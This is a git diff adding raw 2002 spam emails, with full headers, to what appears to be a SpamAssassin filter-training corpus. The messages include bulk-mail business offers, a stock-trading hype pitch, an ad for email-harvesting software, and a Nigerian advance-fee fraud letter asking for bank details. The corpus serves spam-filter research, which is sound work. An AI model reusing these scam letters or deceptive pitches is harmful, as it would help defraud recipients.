Mailing Address: + + +_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ + +** F R E E B O N U S E S ** + +"BUSINESS ON A DISK" bonus offer: + +Every survey has always indicated that the easiest and most profitable product to sell on the Internet is +INFORMATION! If you have an "information" type product, then there is no easier way to become financially +independent. + +Our "BUSINESS ON A DISK" gives you awesome resalable products reports/manuals/books that that are yours +to use. You may instantly start your "Information Product" business! Just think, you can reproduce a complete book +on a floppy disc in just a few seconds, for around 35 cents. These are the same books that have + +sold for $99. "Special Reports" cost you pennies to produce and can be sold for as high as $15... or the whole group +for as high as $140.00. + +"THE MASS E-MAIL SURVIVAL GUIDE" A manual/guide that addresses the Mass E-Mail business. Especially useful +for beginners. "THE Mass E-MAIL SURVIVAL GUIDE" will answer most of your questions and concerns about Mass E-Mail. +An exclusive for our customers... INCLUDED FREE. + +If you want us to send you the POWERMAN 10 MILLION Internet Marketing Shop CD +email: POWERMAN10MILLION@hotmail.com +Subject Line: SEND CD +Your Mailing Address: + + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00942.657397d701fe92368dd144bec09d7812 b/bayes/spamham/spam_2/00942.657397d701fe92368dd144bec09d7812 new file mode 100644 index 0000000..33fc0be --- /dev/null +++ b/bayes/spamham/spam_2/00942.657397d701fe92368dd144bec09d7812 @@ -0,0 +1,106 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O9KDhY068565 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; 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    + +chrism + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00948.674250d39ae9ea6d1c054fd6f7b52cee b/bayes/spamham/spam_2/00948.674250d39ae9ea6d1c054fd6f7b52cee new file mode 100644 index 0000000..9833980 --- /dev/null +++ b/bayes/spamham/spam_2/00948.674250d39ae9ea6d1c054fd6f7b52cee @@ -0,0 +1,130 @@ +From trade1944@eudoramail.com Tue Jul 23 17:04:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B02C440CD + for ; Tue, 23 Jul 2002 12:04:37 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 17:04:37 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NG4s408487 for + ; Tue, 23 Jul 2002 17:04:56 +0100 +Received: from www ([209.197.199.30]) by mandark.labs.netnoteinc.com + (8.11.6/8.11.6) with ESMTP id g6NG3qp15583 for ; + Tue, 23 Jul 2002 17:03:58 +0100 +Date: Tue, 23 Jul 2002 17:03:58 +0100 +Message-Id: <200207231408.g6NE8TR04144@www> +Content-Disposition: inline +Content-Type: text/plain +MIME-Version: 1.0 +X-Mailer: MIME::Lite 1.3 +From: Investor Relations +To: Investor +Cc: +Subject: LazyTraders; LDT 342%, Chatroom $455,000, AI Stockpicks 348% this week. +Content-Transfer-Encoding: binary + +LazyTraders, + +Even when the Market takes a 300 odd point dive you can still make money +in the Stock Market if you know what you are doing. + +If you don't know what you are doing follow people who do. + +This week You could have made: + +Up to 392% using The Lazy DayTrader System. + +One Stock that you would have found immediately was a stock that was +trading at .55, until a large company announced that it was offering $1.10 +for the shares. + +What do you think happened to the value of the Shares? + +Within the same day they went up to $1.10. 100% profit in one day! + +There were 3 more examples like it this week which you would have found +within 5 seconds with the Lazy DayTrader System. + +Learn how to do this at: + +http://lazytrader.get.to + +Our Chatroom this week made $455,000 trading 1000 shares with no losing +days. + +If you want to learn about Fibonacci Numbers and Elliott Waves join the +Chatroom for $199 per month and watch Mr G for a while before trading with +him to learn his methods. + +Some comments from Friday's Chatroom: + +"bones> G and Chat, good job as usual. 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Please recognize that investing in stocks includes +risk and that the past performance of a stock is not +necessarily an indicator of future gains. The person or +persons utilizing this service herein known as +"subscriber" acknowledges that he/she fully understands +that the risk factor is high in trading and that only +"Risk Capital" or "Risk Funds" should be used in such +trading. A person who does not have extra Risk Capital, +or Risk Funds, that they can afford to lose, should not +trade in the market. No "SAFE" trading system has ever +been devised, and no one including us can guarantee +profits or freedom from loss. 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    +
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from appsales.net ([65.168.244.19]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id MAA14639 + for ; Tue, 23 Jul 2002 12:10:19 -0500 +Message-Id: <200207231710.MAA14639@einstein.ssz.com> +Received: (qmail 2356 invoked by uid 502); 23 Jul 2002 16:15:43 -0000 +Received: from unknown (HELO appsales.net) (65.168.244.26) + by 0 with SMTP; 23 Jul 2002 16:15:43 -0000 +From: Link It Software +Old-Subject: CDR: Maintenance Tracking/Scheduling Software, $1495 +Date: 23 Jul 2002 09:11:48 -0700 +MIME-Version: 1.0 +Content-Type: multipart/related; boundary="----=_BkymKzPF_EOQL8qx8_MR" +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +To: undisclosed-recipients:; +Subject: Maintenance Tracking/Scheduling Software, $1495 + + +------=_BkymKzPF_EOQL8qx8_MR +Content-Type: text/html +Content-Transfer-Encoding: 8bit + + + + + +Maintenance Tracking/Scheduling Software, $1495 + + + + + + + + + + + + +
    + Complete Maintenance Scheduling and Tracking Software for any equipment or vehicle, $1,495.00
    + Order by July 31st and receive two additional user licenses at no charge--a $300.00 value! +
    +

    EZ Maintenance is a complete software package designed to schedule, manage and track all maintenance and repairs on any type of equipment and all vehicles, including tires! +

    EZ Maintenance is Network/Multi user ready out of the box. In addition to scheduling, tracking, keeping histories of and producing work orders for all maintenance on equipment or vehicles, EZ Maintenance also tracks costs, hours, and downtime for repairs. It includes over 80 reports and has available a link to Excel for the creation of specialized reports. Along with many other features, EZ Maintenance produces maintenance calendars and complete maintenance histories. Equipment to be maintained can be bar coded, allowing a maintenance procedure to begin with a simple reading of the bar code. On the vehicle side, EZ Maintenance also tracks both vehicle and driver license information and license expiration dates and produces a report showing all expiring licenses 30 days in advance. It records all driver information, and allows for entry and tracking of all driver incidents + EZ Maintenance is everything you need to maintain equipment or vehicles in one complete software package. +

    For more information, please call (661) 286-0041 or email info@linkitsoftware.com +

    To be removed from this mailing list + please place the word "remove" in the subject line remove@linkitsoftware.com

    +
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b/bayes/spamham/spam_2/00951.f7044a1b178dc3dcff44932f840b8805 new file mode 100644 index 0000000..c45f36c --- /dev/null +++ b/bayes/spamham/spam_2/00951.f7044a1b178dc3dcff44932f840b8805 @@ -0,0 +1,192 @@ +From fork-admin@xent.com Tue Jul 23 17:31:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2AB70440CC + for ; Tue, 23 Jul 2002 12:31:13 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 17:31:13 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NGWF410667 for + ; Tue, 23 Jul 2002 17:32:15 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id RAA04000 for ; Tue, 23 Jul 2002 17:31:19 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 43C472940F6; Tue, 23 Jul 2002 09:16:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from Mail2L.com (unknown [213.132.0.33]) by xent.com (Postfix) + with ESMTP id 428A42940EE for ; Tue, 23 Jul 2002 09:15:27 + -0700 (PDT) +From: news@bluecom.com +To: fork@spamassassin.taint.org +Message-Id: +Subject: We are on the look-out for new partners such as you and your company +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 09:15:27 -0700 (PDT) +Content-Type: multipart/alternative; boundary="---=b1z9tz8hennlu9udi_dkzpz49njtph" + + +-----=b1z9tz8hennlu9udi_dkzpz49njtph +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit + +We are on the look-out for new partners such as you and your company + +Whether you want to buy or sell, BlueCom Danmark A/S is worth closer acquaintance + +BlueCom Danmark A/S is a worldwide IT-distributor of PC-systems and add-ons. Since it’s foundation in 1992 the company has enjoyed constant growth, and is always on the look out for new partners to cooperate with. + +We have found you and your company through our Internet research, and hope to establish a fruitful cooperation with you in the future. However, we apologies if you are not the correct person to contact within your company, and kindly request that you forward this message to that person. Further, if this letter is of no interest to you and your company, please press the “unsubscribe” button in this mail. + +The easiest way to start cooperating with BlueCom Danmark A/S is through our user-friendly website. +If any of the features detailed below are of interest to your company, please click on the link and our cooperation has already begun. + + +CUSTOMER: +Would you like the best prices on the market, plus 24-hour delivery and an incredible 30 days credit? +Then maybe you would like to become our partner or customer. +We are able to offer the absolute best prices on the market because of our large-scale procurement of a small number of specific products. Our range includes products from IBM, Compaq and HP Options such as Notebooks, PCs and Monitors. We also offer PC parts such as RAM, CPUs, VGA cards, Motherboards, Wireless products, original Mobile Phones and accessories, Hard disks, DVD, CD-RW, TFT screens, from the following top companies: ASUS, ECS, ABIT, CREATIVE, INTEL, AMD, U.S. ROBOTICS, LG, PLEXTOR, BELKIN, BENQ, SAMSUNG, IBM SOFTWARE and many more. + +Besides delivering at the very best prices, we offer Real-Time updated prices through our Customer Lounge, 24-hour delivery all over Europe and 30 days credit. +Please click here: http://ocms.ocms.dk/engine/redirectord.cfm?ID=1214 + +SUPPLIER: +Are you a future supplier to BlueCom Danmark A/S? +BlueCom Danmark A/S keeps it suppliers updated on products in demand, the specific volumes on request, and of course the target prices. If you would like to see which products and target prices we are interested in right now, please click here: http://ocms.ocms.dk/engine/redirectord.cfm?ID=1213 + +EVERYBODY: +Would you like to receive IT News? +BlueCom Danmark A/S offers IT News for free. We produce a newsletter with articles covering the changes in our industry, new products, tariff rates and general trends in the IT-market. The newsletter also contains information about BlueCom Danmark A/S and the development of its business partners. +Please click here: http://ocms.ocms.dk/engine/redirectord.cfm?ID=1212 + + +Would you like more information about BlueCom Danmark A/S? +For further information please do not hesitate to contact BlueCom Danmark A/S. You can also visit our homepage at: http://ocms.ocms.dk/engine/redirectord.cfm?ID=1211 + + +Thanks for your time. We look forward to hearing from you. + + +Best regards + +Jens Fournais, +Managing Director + +BlueCom Danmark A/S + +To unsubscribe from this mailing list, please click here: http://ocms.ocms.dk/engine/redirect.cfm?ID=1210 + + + + +-----=b1z9tz8hennlu9udi_dkzpz49njtph +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Partner Mail + + + + +

    We are on the look-out + for new partners such as you and your company
    +
    + Whether you want to buy or sell, BlueCom Danmark A/S is worth closer acquaintance
    +
    + BlueCom Danmark A/S is a worldwide IT-distributor of PC-systems and add-ons. + Since it's foundation in 1992 the company has enjoyed constant growth, and is + always on the look out for new partners to cooperate with.
    +
    + We have found you and your company through our Internet research, and hope to + establish a fruitful cooperation with you in the future. However, we apologies + if you are not the correct person to contact within your company, and kindly + request that you forward this message to that person. Further, if this letter + is of no interest to you and your company, please press the "unsubscribe" button + in this mail.
    +
    + The easiest way to start cooperating with BlueCom Danmark A/S is through our + user-friendly website. If any of the features detailed below are of interest + to your company, please click on the link and our cooperation has already begun.
    +
    + CUSTOMER:
    + Would you like the best prices on the market, plus 24-hour delivery and an + incredible 30 days credit?
    + Then maybe you would like to become our partner or customer.
    + We are able to offer the absolute best prices on the market because of our large-scale + procurement of a small number of specific products. Our range includes products + from IBM, Compaq and HP Options such as Notebooks, PCs and Monitors. We also + offer PC parts such as RAM, CPUs, VGA cards, Motherboards, Wireless products, + original Mobile Phones and accessories, Hard disks, DVD, CD-RW, TFT screens, + from the following top companies: ASUS, ECS, ABIT, CREATIVE, INTEL, AMD, U.S. + ROBOTICS, LG, PLEXTOR, BELKIN, BENQ, SAMSUNG, IBM SOFTWARE and many more.
    +
    + Besides delivering at the very best prices, we offer Real-Time updated prices + through our Customer Lounge, 24-hour delivery all over Europe and 30 days credit. +
    + Please click here: Customers + Lounge
    +
    + SUPPLIER:
    + Are you a future supplier to BlueCom Danmark A/S?
    + BlueCom Danmark A/S keeps it suppliers updated on products in demand, the specific + volumes on request, and of course the target prices. If you would like to see + which products and target prices we are interested in right now,
    + please click here: Suppliers + Lounge
    +
    + EVERYBODY:
    + Would you like to receive IT News?
    +     BlueCom Danmark A/S offers IT News for free. We produce a newsletter with + articles covering the changes in our industry, new products, tariff rates and + general trends in the IT-market. The newsletter also contains information about + BlueCom Danmark A/S and the development of its business partners.
    + Please click here: IT-News +
    +
    + Would you like more information about BlueCom Danmark A/S?
    + For further information please do not hesitate to contact BlueCom Danmark A/S. +
    + You can also visit our homepage at: www.bluecom.com +
    +
    +
    + Thanks for your time. We look forward to hearing from you.
    +
    + Best regards
    +
    + Jens Fournais
    + Managing Director
    +
    + BlueCom Danmark A/S

    +

    +

    To unsubscribe from this mailing + list, please click here: UNSUBSCRIBE
    + (You are subscribed with this e-mail address: fork@spamassassin.taint.org )
    +
    +

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Tue, 23 Jul 2002 13:28:26 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 18:28:26 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NHQi414662 for ; + Tue, 23 Jul 2002 18:26:44 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EE02D29410F; Tue, 23 Jul 2002 10:16:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from n2now2193.com (unknown [213.181.64.14]) by xent.com + (Postfix) with SMTP id 2C555294106 for ; Tue, + 23 Jul 2002 10:15:32 -0700 (PDT) +From: "Mr.Kenneth Uba" +Reply-To: kennethuba@mail.com +To: FoRK@xent.com +Subject: Urgent Business +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: <20020723171532.2C555294106@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 18:24:57 +0200 +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6NHQi414662 +Content-Transfer-Encoding: 8bit + +>>From the Desk of Mr. Kenneth Uba + +Union Bank of Nigeria, + +Lagos-Nigeria. + + + +ATTN: THE PRESIDENT/C.E.O + +STRICTLY A PRIVATE BUSINESS PROPOSAL + + + +Dear Sir, + +I am Mr. Kenneth Uba, the manager bills and exchange +at the Foreign Remittance Department of the Union Bank of Nigeria Plc. + +I am writing this letter to ask for your support and +cooperation to carry out this business opportunity in my department. + +We discovered an abandoned sum of $31,000,000.00 (Thirty One million United States Dollars only) in an account that belongs to one of our foreign customers who died along with his entire family of a wife and two children in November 1997 in a Plane crash. + + + +Since we heard of his death, we have been expecting his next-of-kin to come over and put claims for his money as the heir, because we cannot release the fund from his account unless someone applies for claim as +the next-of-kin to the deceased as indicated in our banking guidelines. +Unfortunately, neither their family member nor distant relative has ever appeared to claim the said fund. + +Upon this discovery, I and other officials in my department have agreed to make business with you and release the total amount into your account as the heir of the fund since no one came for it or discovered he maintained account with our bank, otherwise the fund will be returned to the bank's treasury as unclaimed fund. + +We have agreed that our ratio of sharing will be as stated thus; +20 % for you as foreign partner, 75 % for us the officials in my department and 5 % for the settlement of all local and foreign expenses incurred by us and you during the course of this business. + + +Upon the successful completion of this transfer, I and one of my colleagues will come to your country and mind our share. It is from our 75 % we intend to import Agricultural machineries into my country as a way of recycling the fund. + +To commence this transaction, we require you to immediately indicate your interest by a return e-mail and enclose your private contact telephone number, fax number full name and address and your designated +bank coordinates to enable us file letter of claim to the appropriate departments for necessary approvals before the transfer can be made. + +Note also, this transaction must be kept STRICTLY CONFIDENTIAL because of its nature. + +I look forward to receiving your prompt response. + + + +Mr. Kenneth Uba + +Union Bank of Nigeria. + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00955.0e418cf2dca0e0ac90fcaf35f5cedbc3 b/bayes/spamham/spam_2/00955.0e418cf2dca0e0ac90fcaf35f5cedbc3 new file mode 100644 index 0000000..8ba3705 --- /dev/null +++ b/bayes/spamham/spam_2/00955.0e418cf2dca0e0ac90fcaf35f5cedbc3 @@ -0,0 +1,52 @@ +Received: from hook.helix.sk (bb207.isternet.sk [195.72.0.207]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6NKTpe18014 + for ; Tue, 23 Jul 2002 15:29:53 -0500 +Received: from smtp0452.mail.yahoo.com ([4.42.141.17]) + by hook.helix.sk (8.12.3/8.12.3/Debian -4) with SMTP id g6NHoOai002903; + Tue, 23 Jul 2002 19:53:16 +0200 +Message-Id: <200207231753.g6NHoOai002903@hook.helix.sk> +Date: Tue, 23 Jul 2002 10:53:47 -0700 +From: "Marc Garcia" +X-Priority: 3 +To: anniekim@hotmail.com +Subject: The database that Bill Gates doesnt want you to know about!!!!! +Mime-Version: 1.0 +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Status: +X-Keywords: + + + + + + +

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      =B2=A3=AB~=A6W=BA=D9=A1G<= +/FONT>

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     &n= +bsp;=20 + =A9m=A1@    =A6W=A1G=B6=B7=B6=F1=BCg=A4=A4=A4=E5=A5=FE=A6W=A1A=A4=C5=B6=F1=BC= +g=BC=CA=BA=D9
       =A6=ED    =A1@=A7}=A1G

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     &n= +bsp;=20 + =A6=ED=A6v=B9q=B8=DC=A1G +

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       =A6=E6=B0=CA=B9q=B8=DC=A1= +G

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     &n= +bsp;=20 + =B9q=A4l=B6l=A5=F3=A1G

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    &n= +bsp; =20 + =A7=DA=A7=C6=B1=E6=A6=AC=A8=EC=A7=F3=A6h=AA=BA=A7K=B6O=B0=D3= +=AB~=B8=EA=B0T=B9q=A4l=B3=F8
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    + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00962.452e4bd0724bf1139c9bc4eb9ec0fe43 b/bayes/spamham/spam_2/00962.452e4bd0724bf1139c9bc4eb9ec0fe43 new file mode 100644 index 0000000..3a525ab --- /dev/null +++ b/bayes/spamham/spam_2/00962.452e4bd0724bf1139c9bc4eb9ec0fe43 @@ -0,0 +1,99 @@ +From vi1teri6d3682@hotmail.com Tue Jul 23 09:52:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9A986440C8 + for ; Tue, 23 Jul 2002 04:52:44 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 09:52:44 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6N8rb404236 for + ; Tue, 23 Jul 2002 09:53:37 +0100 +Received: from Host (ddsl-66-161-158-186.fuse.net [66.161.158.186]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6N8qop12861 for + ; Tue, 23 Jul 2002 09:52:51 +0100 +Received: from mx06.hotmail.com ([172.192.200.20]) by Host with Microsoft + SMTPSVC(6.0.2600.1); Tue, 23 Jul 2002 04:25:06 -0400 +Message-Id: <000062a3273a$00007a46$00003b28@mx06.hotmail.com> +To: +Cc: , , + , , + , , , + , , , + +From: "Kaitlyn" +Subject: Toners and inkjet cartridges for less.... GHOE +Date: Tue, 23 Jul 2002 01:26:31 -1900 +MIME-Version: 1.0 +Reply-To: vi1teri6d3682@hotmail.com +X-Originalarrivaltime: 23 Jul 2002 08:25:07.0004 (UTC) FILETIME=[73A18FC0:01C23222] +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +
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by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NMBUfR006396 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 17:11:30 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NMBShY006361 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 17:11:29 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NMBRJ49701 + for ; Tue, 23 Jul 2002 18:11:28 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NMBRc15682 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 18:11:27 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NMBPR15660 + for ; Tue, 23 Jul 2002 18:11:25 -0400 +Received: from localhost.com ([218.72.128.142]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6NMBNJ49684 + for ; Tue, 23 Jul 2002 18:11:24 -0400 (EDT) + (envelope-from emailharvest@email.com) +Message-Id: <200207232211.g6NMBNJ49684@locust.minder.net> +From: emailharvest@email.com +Reply-To: emailharvest@email.com +To: cpunks@minder.net +Date: Wed, 24 Jul 2002 06:11:09 +0800 +Subject: Harvest lots of E-mail addresses quickly ! +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + +Dear cpunks =2C + +=3CBODY bgColor=3D#ffccff=3E +=3CTABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 width=3D475=3E + =3CTBODY=3E + =3CTR=3E + =3CTD align=3Dmiddle vAlign=3Dtop=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E=3CBR=3E +=3CTABLE=3E + =3CTBODY=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#b8ecff borderColor=3D#0000ff width=3D=2290%=22=3E=3CFONT color=3D#ff0000 + face=3D=22Arial Black=22 + size=3D6=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B Want + To Harvest A Lot Of Email =3B =3B Addresses In A Very Short Time=3F=3C=2FFONT=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial size=3D4=3EEasy Email + Searcher=3C=2FFONT=3E=3CFONT color=3D#ff00ff face=3DArial size=3D4=3E =3B is =3B + a =3B powerful =3B Email =3B software =3B =3B that =3B + harvests general Email lists from mail servers =3B =3B =3C=2FFONT=3E=3CFONT + color=3D#0000ff face=3DArial size=3D4=3EEasy Email Searcher =3C=2FFONT=3E=3CFONT + color=3D#ff00ff face=3DArial size=3D4=3Ecan get 100=2C000 Email=3C=2FFONT=3E=3C=2FB=3E =3CFONT + color=3D#ff00ff face=3DArial size=3D4=3E=3CB=3Eaddresses directly from the Email + servers in only one hour! =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E + =3CUL=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E is a 32 bit Windows Program for e-mail marketing=2E It + is intended for easy and convenient search large e-mail address lists + from mail servers=2E The program can be operated on Windows 95=2F98=2FME=2F2000 + and NT=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E =3C=2FB=3Esupport multi-threads =28up to 512 + connections=29=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has the ability =3B to reconnect to the mail + server if the server has disconnected and continue the searching at the + point where it has been interrupted=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has an ergonomic interface that is easy to set up + and simple to use=2E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E + =3CP=3E=A1=A1=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3EEasy Email Searcher is an email + address searcher and bulk e-mail sender=2E It can verify more than 5500 + email addresses per minute at only 56Kbps speed=2E It even allows you send + email to valid email address while searching=2E You can save the searching + progress and load it to resume work at your convenience=2E All you need to + do is just input an email address=2C and press the =22Search=22 + button=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3E=3CBR=3E=3C=2FFONT=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#FF00FF=22=3EVery + Low Price ! ------- =3B Now=2C =3B The full version of Easy Email + Searcher only costs =3C=2Ffont=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#0000FF=22=3E$ + 39=2E 95=3C=2Ffont=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CI=3EClick The Following Link To + Download The Demo =3A=3C=2FI=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=22=3EDownload Site + 1=3C=2FA=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=22=3EDownload Site + 2=3C=2FA=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3C=2FFONT=3E=3C=2FB=3E=A1=A1=3CFONT color=3D#0000a0 face=3DArial + size=3D3=3E=3CSTRONG=3EIf =3B you can not download this program =2C =3B please + copy the following link into your URL =2C and then click =22 Enter=22 on your + Computer Keyboard=2E=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CP=3E=3CFONT size=3D2=3E=3CFONT color=3D#0000a0 face=3DArial size=3D3=3E=3CSTRONG=3EHere is the + download links=3A=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CDIV=3E + =3CP=3Ehttp=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=3C=2FP=3E + =3CP=3Ehttp=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=3C=2FP=3E=3C=2FFONT=3E=3C=2FDIV=3E + =3CP=3E=3C=2FP=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#0f95de width=3D=2290%=22=3E=3CFONT color=3D#ffffff + face=3D=22Verdana=2C Tahoma=2C Helvetica=2C SansSerif=22 + size=3D1=3E=3CB=3EDisclaimer=3A=3C=2FB=3E=3CBR=3EWe are strongly against continuously sending + unsolicited emails to those who do not wish to receive our special + mailings=2E We have attained the services of an independent 3rd party to + overlook list management and removal services=2E This is not unsolicited + email=2E If you do not wish to receive further mailings=2C please click this + link =3CA href=3D=22 mailto=3Aremoval=40btamail=2Enet=2Ecn =22 + target=3D=5Fblank=3E=3CFONT + color=3D#fdd32a=3E=3CB=3Emailto=3Aremoval=40btamail=2Enet=2Ecn + 